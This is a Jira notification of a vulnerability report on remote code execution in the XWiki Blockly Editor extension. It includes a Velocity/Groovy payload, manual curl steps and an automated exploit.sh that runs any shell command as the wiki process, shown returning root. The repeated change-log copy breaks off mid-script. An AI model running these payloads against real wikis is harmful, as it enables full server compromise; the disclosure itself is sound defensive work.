This issue has been created
There is 1 update.
 
 
Blockly Editor / cid:jira-generated-image-avatar-16e31e96-1ed2-41c9-bd38-ea0b6f453b57 BLOCKLY-27 Open

Blockly Editor: low-privileged remote code execution through privileged evaluation of attacker-controlled xobject content

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-dfe3af08-ceed-41a1-bcbd-25d5463ffcdd Łukasz Rybak created this issue on 14/Aug/26 14:05
 
Summary: Blockly Editor: low-privileged remote code execution through privileged evaluation of attacker-controlled xobject content
Issue Type: cid:jira-generated-image-avatar-16e31e96-1ed2-41c9-bd38-ea0b6f453b57 Bug
Affects Versions: 0.8
Assignee: Unassigned
Attachments: image-2026-08-14-13-57-19-740.png, image-2026-08-14-13-58-45-530.png, image-2026-08-14-13-59-12-404.png, image-2026-08-14-13-59-52-252.png, image-2026-08-14-14-00-15-075.png, image-2026-08-14-14-01-41-906.png, image-2026-08-14-14-02-59-392.png
Created: 14/Aug/26 14:05
Labels: attack_escalation security
Priority: cid:jira-generated-image-static-critical-3f7f7a98-13f4-4805-b89f-7b0d1376b6bb Critical
Reporter: Łukasz Rybak
Description:

Summary

Blockly.Code.BlocklyExecuteCodeSheet is an admin-authored sheet whose entire body is:

{{velocity}}
   #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
{{/velocity}}
  • $doc is the document the sheet is rendering against (the target doc, attacker-controlled).
  • getProperty('content').value reads the user-stored value of the content field of an xobject of class Blockly.Code.BlocklyClass.
  • #evaluate(...) evaluates that string as Velocity, in the sheet author's (xwiki:XWiki.Admin) PROGRAM context.

Therefore any registered user with EDIT on a page they own can:

  1. Add a Blockly.Code.BlocklyClass xobject to their page,
  2. Place arbitrary Velocity (e.g. $xwiki.parseGroovy("...")) in the content field,
  3. Cause the sheet to render against their page: either via auto-binding (XWiki.SheetClass xobject pointing to Blockly.Code.BlocklyExecuteCodeSheet) or by appending ?sheet=Blockly.Code.BlocklyExecuteCodeSheet to their own page URL,
  4. The Velocity from content is executed with admin's PROGRAM rights -> RCE.

Affected products

Jira project: Blockly Editor
Package: org.xwiki.contrib:application-blockly-ui
Source repository: xwiki-contrib/application-blockly
Affected version: 0.8, confirmed dynamically on XWiki 18.6.0

Preconditions

Required attacker level: registered + EDIT on a single page (own user space: default).
Admin interaction: none.

Technical details

File and line

application-blockly-ui/src/main/resources/Blockly/Code/BlocklyExecuteCodeSheet.xml

<author>xwiki:XWiki.Admin</author>          <!-- line 32 -->
<contentAuthor>xwiki:XWiki.Admin</contentAuthor>
...
<content>
  {{velocity}}
       #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)   <!-- line 44 -->
  {{/velocity}}
</content>

Why a low-privileged user can plant the xobject

  • Blockly.Code.BlocklyClass is a public XClass installed by the contrib extension. No XWikiRights restriction is added at install time.
  • By XWiki defaults, every registered user has EDIT on their user-space pages and can attach any existing XClass xobject to a page they own.
  • The class's content field is declared as a generic TextArea/string (the value is treated as Velocity only on the rendering path).

Why no admin interaction is needed

  • The ?sheet=... URL parameter on ViewAction lets the attacker apply any sheet they have VIEW access to. Blockly.Code.BlocklyExecuteCodeSheet is hidden but VIEW-readable to registered users by default.
  • Alternatively the attacker can plant an XWiki.SheetClass xobject on their own page that binds Blockly.Code.BlocklyExecuteCodeSheet automatically.
  • In either case, the attacker is the one rendering the page: no admin/other-user is involved.

Root cause

#evaluate is called on the value of an xobject field that any non-privileged user can write. There is no PROGRAM-rights check on the content's author, no Required-Rights enforcement on the field, and no whitelisting of the xobject's source page.

Manual proof of concept

Preconditions

  • XWiki 18.6.0 is available at http://127.0.0.1:8888.
  • Blockly Editor org.xwiki.contrib:application-blockly-ui version 0.9 is installed.
  • The attacker account is cve:cve1234 and has EDIT but no SCRIPT, PROGRAM, or ADMIN right.

45240_image-2026-08-14-14-02-59-392.png

  • Every command below targets the authorized local lab.

Manual terminal reproduction

Execute each step separately. This makes the account, authorization boundary, object creation, and vulnerable trigger visible before running the automated version.

1. Log in as the low-privileged account

BASE='http://127.0.0.1:8888'
USER_NAME='cve'
USER_PASSWORD='cve1234'
WORK=$(mktemp -d /tmp/blockly-manual.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="BlocklyIdProof$(date +%s)"
CONTROL_PAGE="BlocklyRightsControl$(date +%s)"

curl -sS -c "$COOKIE" -b "$COOKIE" \
  "$BASE/bin/login/XWiki/XWikiLogin" \
  -o "$WORK/login.html"

LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
  "$WORK/login.html" | head -n1)

curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode "j_username=$USER_NAME" \
  --data-urlencode "j_password=$USER_PASSWORD" \
  --data-urlencode "form_token=$LOGIN_TOKEN" \
  -o /dev/null

2. Verify the identity and absence of administrator access

curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1

curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
  "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"

Expected output:

data-xwiki-user-reference="xwiki:XWiki.cve"
Global administration HTTP: 403

3. Negative control: direct Groovy must be rejected

curl -fsS -b "$COOKIE" \
  "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
  -o "$WORK/control-edit.html"

FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/control-edit.html" | head -n1)

CONTROL_CONTENT='{{groovy}}
println("DIRECT-GROOVY-SHOULD-NOT-RUN")
{{/groovy}}'

curl -fsS -b "$COOKIE" -X POST \
  "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
  --data-urlencode "content=$CONTROL_CONTENT" \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$FORM_TOKEN" \
  --data-urlencode 'action_save=Save' \
  -o /dev/null

curl -fsS -b "$COOKIE" \
  "$BASE/bin/view/Sandbox/$CONTROL_PAGE" \
  -o "$WORK/control.html"

grep -o 'Failed to execute the \[groovy\] macro[^<]*' "$WORK/control.html" | head -n1
! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"

Expected result: XWiki rejects the direct Groovy macro and the marker is absent.

4. Create the attacker-owned page

curl -fsS -b "$COOKIE" \
  "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" \
  -o "$WORK/edit.html"

FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/edit.html" | head -n1)

curl -fsS -b "$COOKIE" -X POST \
  "$BASE/bin/save/Sandbox/$PAGE" \
  --data-urlencode 'content=Blockly low-user id proof' \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$FORM_TOKEN" \
  --data-urlencode 'action_save=Save' \
  -o /dev/null

5. Add the malicious Blockly object

The XML below creates Blockly.Code.BlocklyClass and places the payload in its content property. The payload
executes /usr/bin/id and prefixes the returned output with BLOCKLY-RCE-.

read -r -d '' BLOCKLY_XML <<'EOF' || true
<object xmlns="http://www.xwiki.org">
  <className>Blockly.Code.BlocklyClass</className>
  <property name="content">
    <value>#set ($proof = $xwiki.parseGroovyFromString('class CVEBlocklyIdProof { String toString() { def p = new ProcessBuilder("/usr/bin/id").start(); p.waitFor(); return "BLOCKLY-RCE-" + p.inputStream.text.trim() } }'))
$proof</value>
  </property>
</object>
EOF

curl -sS -b "$COOKIE" -X POST \
  -H 'Content-Type: application/xml' \
  --data-binary "$BLOCKLY_XML" \
  "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
  -o "$WORK/object.xml" \
  -w 'Object creation HTTP: %{http_code}\n'

Expected result:

Object creation HTTP: 201

6. Trigger the privileged Blockly sheet

curl -fsS -b "$COOKIE" \
  "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
  -o "$WORK/result.html"

grep -o 'BLOCKLY-RCE-[^<]*' "$WORK/result.html" | head -n1

echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
echo "Evidence directory: $WORK"

Confirmed output in the local lab:

BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root)

The same cve session receives HTTP 403 for global administration and cannot execute a direct Groovy macro, but the
Blockly sheet executes the attacker-controlled object value in the privileged sheet context.

Automated proof of concept

The following script performs the same sequence and stops if the identity, authorization checks, object creation, or
/usr/bin/id result differs from the expected value.

#!/usr/bin/env bash
set -euo pipefail

usage()
{
  cat <<'EOF'
Usage:
  ./exploit.sh -url <base_url> -u <username> -p <password> -c <command>

Example:
  ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
EOF
}

BASE=''
USER_NAME=''
USER_PASSWORD=''
COMMAND=''

while [[ $# -gt 0 ]]; do
  case "$1" in
    -url|--url)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      BASE=$2
      shift 2
      ;;
    -u|--username)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      USER_NAME=$2
      shift 2
      ;;
    -p|--password)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      USER_PASSWORD=$2
      shift 2
      ;;
    -c|--command)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      COMMAND=$2
      shift 2
      ;;
    -h|--help)
      usage
      exit 0
      ;;
    *)
      echo "Unknown argument: $1" >&2
      usage >&2
      exit 2
      ;;
  esac
done

if [[ -z "$BASE" || -z "$USER_NAME" || -z "$USER_PASSWORD" || -z "$COMMAND" ]]; then
  usage >&2
  exit 2
fi

BASE=${BASE%/}
WORK=$(mktemp -d /tmp/blockly-automated.XXXXXX)
COOKIE="$WORK/cookies.txt"
SUFFIX=$(date +%s%N)
PAGE="BlocklyCommandProof${SUFFIX}"
CONTROL_PAGE="BlocklyRightsControl${SUFFIX}"
CLASS_NAME="CVEBlocklyCommandProof${SUFFIX}"
COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)

echo '[1/6] Logging in'
curl -sS -c "$COOKIE" -b "$COOKIE" \
  "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
  "$WORK/login.html" | head -n1)
[[ -n "$LOGIN_TOKEN" ]]

curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode "j_username=$USER_NAME" \
  --data-urlencode "j_password=$USER_PASSWORD" \
  --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null

curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
echo "Authenticated identity: XWiki.$USER_NAME"

echo '[2/6] Verifying lack of global administration access'
ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
  "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
echo "Global administration HTTP: $ADMIN_CODE"
[[ "$ADMIN_CODE" == 403 ]]

echo '[3/6] Verifying that direct Groovy is blocked'
curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
  -o "$WORK/control-edit.html"
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/control-edit.html" | head -n1)
[[ -n "$TOKEN" ]]

CONTROL_CONTENT='{{groovy}}
println("DIRECT-GROOVY-SHOULD-NOT-RUN")
{{/groovy}}'
curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
  --data-urlencode "content=$CONTROL_CONTENT" \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$TOKEN" \
  --data-urlencode 'action_save=Save' -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$CONTROL_PAGE" -o "$WORK/control.html"
! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
echo 'Direct Groovy control: blocked'

echo '[4/6] Creating the attacker-owned page'
curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" -o "$WORK/edit.html"
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/edit.html" | head -n1)
[[ -n "$TOKEN" ]]
curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$PAGE" \
  --data-urlencode 'content=Blockly automated command proof' \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$TOKEN" \
  --data-urlencode 'action_save=Save' -o /dev/null

read -r -d '' BLOCKLY_PAYLOAD <<'EOF' || true
#set ($proof = $xwiki.parseGroovyFromString('class __CLASS_NAME__ { String toString() { def command = new String(java.util.Base64.getDecoder().decode("__COMMAND_B64__"), "UTF-8"); def process = new ProcessBuilder("/bin/sh", "-c", command).redirectErrorStream(true).start(); process.waitFor(); return "BLOCKLY-RCE-B64-" + java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes) } }'))
$proof
EOF
BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__CLASS_NAME__/$CLASS_NAME}
BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__COMMAND_B64__/$COMMAND_B64}

read -r -d '' BLOCKLY_XML <<EOF || true
<object xmlns="http://www.xwiki.org">
  <className>Blockly.Code.BlocklyClass</className>
  <property name="content"><value>$BLOCKLY_PAYLOAD</value></property>
</object>
EOF

echo '[5/6] Adding the attacker-controlled Blockly object'
OBJECT_CODE=$(curl -sS -b "$COOKIE" -X POST \
  -H 'Content-Type: application/xml' \
  --data-binary "$BLOCKLY_XML" \
  "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
  -o "$WORK/object.xml" -w '%{http_code}')
echo "Object creation HTTP: $OBJECT_CODE"
[[ "$OBJECT_CODE" == 201 ]]

echo '[6/6] Triggering the privileged sheet'
curl -fsS -b "$COOKIE" \
  "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
  -o "$WORK/result.html"
MARKER=$(grep -o 'BLOCKLY-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.html" | head -n1)
[[ -n "$MARKER" ]]
OUTPUT_B64=${MARKER#BLOCKLY-RCE-B64-}

echo '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo '----- end command output -----'
echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
echo "Evidence directory: $WORK"

noimage.png

Impact

Any registered user with EDIT access to one page can execute arbitrary JVM code with the permissions of the XWiki
process. This compromises the confidentiality, integrity, and availability of the wiki and host resources available to
the service account. The attacker triggers the vulnerable sheet directly; no administrator or other victim is needed.

Severity

Severity: High: RCE under sheet author's PROGRAM context.
CVSS 4.0: 8.7: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Weaknesses

  • CWE-94: Improper Control of Generation of Code
  • CWE-863: Incorrect Authorization

Suggested remediation

  1. Verify the xobject's content author has PROGRAM before #evaluate-ing the field:
       #set ($contentAuthor = $doc.getObject('Blockly.Code.BlocklyClass').contentAuthor)
       #if ($services.security.authorization.hasAccess('programming', $contentAuthor, $doc.documentReference))
           #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
       #end
    
  1. Better: do not #evaluate user content at all. Render it as text or use a sandboxed transformation.
  2. Add a RequiredRightsClassDocumentRequirement for Blockly.Code.BlocklyClass so the platform Required-Rights analyzer rejects low-privilege saves of pages with this xobject.

Evidence

 

  • Low-privileged XWiki.cve identity and global-administration HTTP 403:
    45245_image-2026-08-14-13-58-45-530.png
  • Direct Groovy negative control showing that the same account cannot execute scripts normally:
    45244_image-2026-08-14-13-59-12-404.png
  • Creation of the Blockly.Code.BlocklyClass object with HTTP 201:
    45243_image-2026-08-14-13-59-52-252.png
  • Vulnerable sheet response containing BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root):45242_image-2026-08-14-14-00-15-075.png
    45241_image-2026-08-14-14-01-41-906.png
 
 

1 update

 
cid:jira-generated-image-avatar-dfe3af08-ceed-41a1-bcbd-25d5463ffcdd Changes by Łukasz Rybak on 14/Aug/26 14:08
 
Description: h2. Summary

{{Blockly.Code.BlocklyExecuteCodeSheet}} is an admin-authored sheet whose entire body is:
{code:none}
{{velocity}}
   #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
{{/velocity}}
{code}
* {{$doc}} is the document the sheet is rendering against (the *target* doc, attacker-controlled).
* {{getProperty('content').value}} reads the user-stored value of the {{content}} field of an xobject of class {{{}Blockly.Code.BlocklyClass{}}}.
* {{#evaluate(...)}} evaluates that string as Velocity, in the *sheet author's* ({{{}xwiki:XWiki.Admin{}}}) PROGRAM context.

Therefore any registered user with EDIT on a page they own can:
# Add a {{Blockly.Code.BlocklyClass}} xobject to their page,
# Place arbitrary Velocity (e.g. {{{}$xwiki.parseGroovy("..."){}}}) in the {{content}} field,
# Cause the sheet to render against their page: either via auto-binding ({{{}XWiki.SheetClass{}}} xobject pointing to {{{}Blockly.Code.BlocklyExecuteCodeSheet{}}}) or by appending {{?sheet=Blockly.Code.BlocklyExecuteCodeSheet}} to their own page URL,
# The Velocity from {{content}} is executed with admin's PROGRAM rights -> RCE.

h2. Affected products

*Jira project:* Blockly Editor
*Package:* {{org.xwiki.contrib:application-blockly-ui}}
*Source repository:* {{xwiki-contrib/application-blockly}}
*Affected version:* 0.8, confirmed dynamically on XWiki 18.6.0
h2. Preconditions

*Required attacker level:* registered + EDIT on a single page (own user space: default).
*Admin interaction:* none.
h2. Technical details
h3. File and line

{{application-blockly-ui/src/main/resources/Blockly/Code/BlocklyExecuteCodeSheet.xml}}
{code:xml}
<author>xwiki:XWiki.Admin</author>          <!-- line 32 -->
<contentAuthor>xwiki:XWiki.Admin</contentAuthor>
...
<content>
  {{velocity}}
       #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)   <!-- line 44 -->
  {{/velocity}}
</content>
{code}
h3. Why a low-privileged user can plant the xobject
* {{Blockly.Code.BlocklyClass}} is a public XClass installed by the contrib extension. No {{XWikiRights}} restriction is added at install time.
* By XWiki defaults, every registered user has EDIT on their user-space pages and can attach any existing XClass xobject to a page they own.
* The class's {{content}} field is declared as a generic TextArea/string (the value is treated as Velocity only on the rendering path).

h3. Why no admin interaction is needed
* The {{?sheet=...}} URL parameter on {{ViewAction}} lets the attacker apply *any* sheet they have VIEW access to. {{Blockly.Code.BlocklyExecuteCodeSheet}} is hidden but VIEW-readable to registered users by default.
* Alternatively the attacker can plant an {{XWiki.SheetClass}} xobject on their own page that binds {{Blockly.Code.BlocklyExecuteCodeSheet}} automatically.
* In either case, the attacker is the one rendering the page: no admin/other-user is involved.

h3. Root cause

{{#evaluate}} is called on the *value* of an xobject field that any non-privileged user can write. There is no PROGRAM-rights check on the content's author, no Required-Rights enforcement on the field, and no whitelisting of the xobject's source page.
h2. Manual proof of concept
h3. Preconditions
* XWiki 18.6.0
is available at {{{}[http://127.0.0.1:8888|http://127.0.0.1:8888/]{}}}.
* Blockly Editor {{org.xwiki.contrib:application-blockly-ui}} version 0.
9 8 is installed.
* The attacker account is {{cve:cve1234}} and has EDIT but no SCRIPT, PROGRAM, or ADMIN right.

!image-2026-08-14-14-02-59-392.png!
* Every command below targets the authorized local lab.

h3. Manual terminal reproduction

Execute each step separately. This makes the account, authorization boundary, object creation, and vulnerable trigger visible before running the automated version.
h4. 1. Log in as the low-privileged account
{code:bash}
BASE='http://127.0.0.1:8888'
USER_NAME='cve'
USER_PASSWORD='cve1234'
WORK=$(mktemp -d /tmp/blockly-manual.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="BlocklyIdProof$(date +%s)"
CONTROL_PAGE="BlocklyRightsControl$(date +%s)"

curl -sS -c "$COOKIE" -b "$COOKIE" \
  "$BASE/bin/login/XWiki/XWikiLogin" \
  -o "$WORK/login.html"

LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
  "$WORK/login.html" | head -n1)

curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode "j_username=$USER_NAME" \
  --data-urlencode "j_password=$USER_PASSWORD" \
  --data-urlencode "form_token=$LOGIN_TOKEN" \
  -o /dev/null
{code}
h4. 2. Verify the identity and absence of administrator access
{code:bash}
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1

curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
  "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"
{code}
Expected output:
{code:none}
data-xwiki-user-reference="xwiki:XWiki.cve"
Global administration HTTP: 403
{code}
h4. 3. Negative control: direct Groovy must be rejected
{code:bash}
curl -fsS -b "$COOKIE" \
  "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
  -o "$WORK/control-edit.html"

FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/control-edit.html" | head -n1)

CONTROL_CONTENT='{{groovy}}
println("DIRECT-GROOVY-SHOULD-NOT-RUN")
{{/groovy}}'

curl -fsS -b "$COOKIE" -X POST \
  "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
  --data-urlencode "content=$CONTROL_CONTENT" \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$FORM_TOKEN" \
  --data-urlencode 'action_save=Save' \
  -o /dev/null

curl -fsS -b "$COOKIE" \
  "$BASE/bin/view/Sandbox/$CONTROL_PAGE" \
  -o "$WORK/control.html"

grep -o 'Failed to execute the \[groovy\] macro[^<]*' "$WORK/control.html" | head -n1
! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
{code}
Expected result: XWiki rejects the direct Groovy macro and the marker is absent.
h4. 4. Create the attacker-owned page
{code:bash}
curl -fsS -b "$COOKIE" \
  "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" \
  -o "$WORK/edit.html"

FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/edit.html" | head -n1)

curl -fsS -b "$COOKIE" -X POST \
  "$BASE/bin/save/Sandbox/$PAGE" \
  --data-urlencode 'content=Blockly low-user id proof' \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$FORM_TOKEN" \
  --data-urlencode 'action_save=Save' \
  -o /dev/null
{code}
h4. 5. Add the malicious Blockly object

The XML below creates {{Blockly.Code.BlocklyClass}} and places the payload in its {{content}} property. The payload
executes {{/usr/bin/id}} and prefixes the returned output with {{{}BLOCKLY-RCE-{}}}.
{code:bash}
read -r -d '' BLOCKLY_XML <<'EOF' || true
<object xmlns="http://www.xwiki.org">
  <className>Blockly.Code.BlocklyClass</className>
  <property name="content">
    <value>#set ($proof = $xwiki.parseGroovyFromString('class CVEBlocklyIdProof { String toString() { def p = new ProcessBuilder("/usr/bin/id").start(); p.waitFor(); return "BLOCKLY-RCE-" + p.inputStream.text.trim() } }'))
$proof</value>
  </property>
</object>
EOF

curl -sS -b "$COOKIE" -X POST \
  -H 'Content-Type: application/xml' \
  --data-binary "$BLOCKLY_XML" \
  "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
  -o "$WORK/object.xml" \
  -w 'Object creation HTTP: %{http_code}\n'
{code}
Expected result:
{code:none}
Object creation HTTP: 201
{code}
h4. 6. Trigger the privileged Blockly sheet
{code:bash}
curl -fsS -b "$COOKIE" \
  "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
  -o "$WORK/result.html"

grep -o 'BLOCKLY-RCE-[^<]*' "$WORK/result.html" | head -n1

echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
echo "Evidence directory: $WORK"
{code}
Confirmed output in the local lab:
{code:none}
BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root)
{code}
The same {{cve}} session receives HTTP 403 for global administration and cannot execute a direct Groovy macro, but the
Blockly sheet executes the attacker-controlled object value in the privileged sheet context.
h3. Automated proof of concept

The following script performs the same sequence and stops if the identity, authorization checks, object creation, or
{{/usr/bin/id}} result differs from the expected value.
{code:bash}
#!/usr/bin/env bash
set -euo pipefail

usage()
{
  cat <<'EOF'
Usage:
  ./exploit.sh -url <base_url> -u <username> -p <password> -c <command>

Example:
  ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
EOF
}

BASE=''
USER_NAME=''
USER_PASSWORD=''
COMMAND=''

while [[ $# -gt 0 ]]; do
  case "$1" in
    -url|--url)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      BASE=$2
      shift 2
      ;;
    -u|--username)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      USER_NAME=$2
      shift 2
      ;;
    -p|--password)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      USER_PASSWORD=$2
      shift 2
      ;;
    -c|--command)
      [[ $# -ge 2 ]] || { usage >&2; exit 2; }
      COMMAND=$2
      shift 2
      ;;
    -h|--help)
      usage
      exit 0
      ;;
    *)
      echo "Unknown argument: $1" >&2
      usage >&2
      exit 2
      ;;
  esac
done

if [[ -z "$BASE" || -z "$USER_NAME" || -z "$USER_PASSWORD" || -z "$COMMAND" ]]; then
  usage >&2
  exit 2
fi

BASE=${BASE%/}
WORK=$(mktemp -d /tmp/blockly-automated.XXXXXX)
COOKIE="$WORK/cookies.txt"
SUFFIX=$(date +%s%N)
PAGE="BlocklyCommandProof${SUFFIX}"
CONTROL_PAGE="BlocklyRightsControl${SUFFIX}"
CLASS_NAME="CVEBlocklyCommandProof${SUFFIX}"
COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)

echo '[1/6] Logging in'
curl -sS -c "$COOKIE" -b "$COOKIE" \
  "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
  "$WORK/login.html" | head -n1)
[[ -n "$LOGIN_TOKEN" ]]

curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode "j_username=$USER_NAME" \
  --data-urlencode "j_password=$USER_PASSWORD" \
  --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null

curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
echo "Authenticated identity: XWiki.$USER_NAME"

echo '[2/6] Verifying lack of global administration access'
ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
  "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
echo "Global administration HTTP: $ADMIN_CODE"
[[ "$ADMIN_CODE" == 403 ]]

echo '[3/6] Verifying that direct Groovy is blocked'
curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
  -o "$WORK/control-edit.html"
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/control-edit.html" | head -n1)
[[ -n "$TOKEN" ]]

CONTROL_CONTENT='{{groovy}}
println("DIRECT-GROOVY-SHOULD-NOT-RUN")
{{/groovy}}'
curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
  --data-urlencode "content=$CONTROL_CONTENT" \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$TOKEN" \
  --data-urlencode 'action_save=Save' -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$CONTROL_PAGE" -o "$WORK/control.html"
! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
echo 'Direct Groovy control: blocked'

echo '[4/6] Creating the attacker-owned page'
curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" -o "$WORK/edit.html"
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
  "$WORK/edit.html" | head -n1)
[[ -n "$TOKEN" ]]
curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$PAGE" \
  --data-urlencode 'content=Blockly automated command proof' \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode "form_token=$TOKEN" \
  --data-urlencode 'action_save=Save' -o /dev/null

read -r -d '' BLOCKLY_PAYLOAD <<'EOF' || true
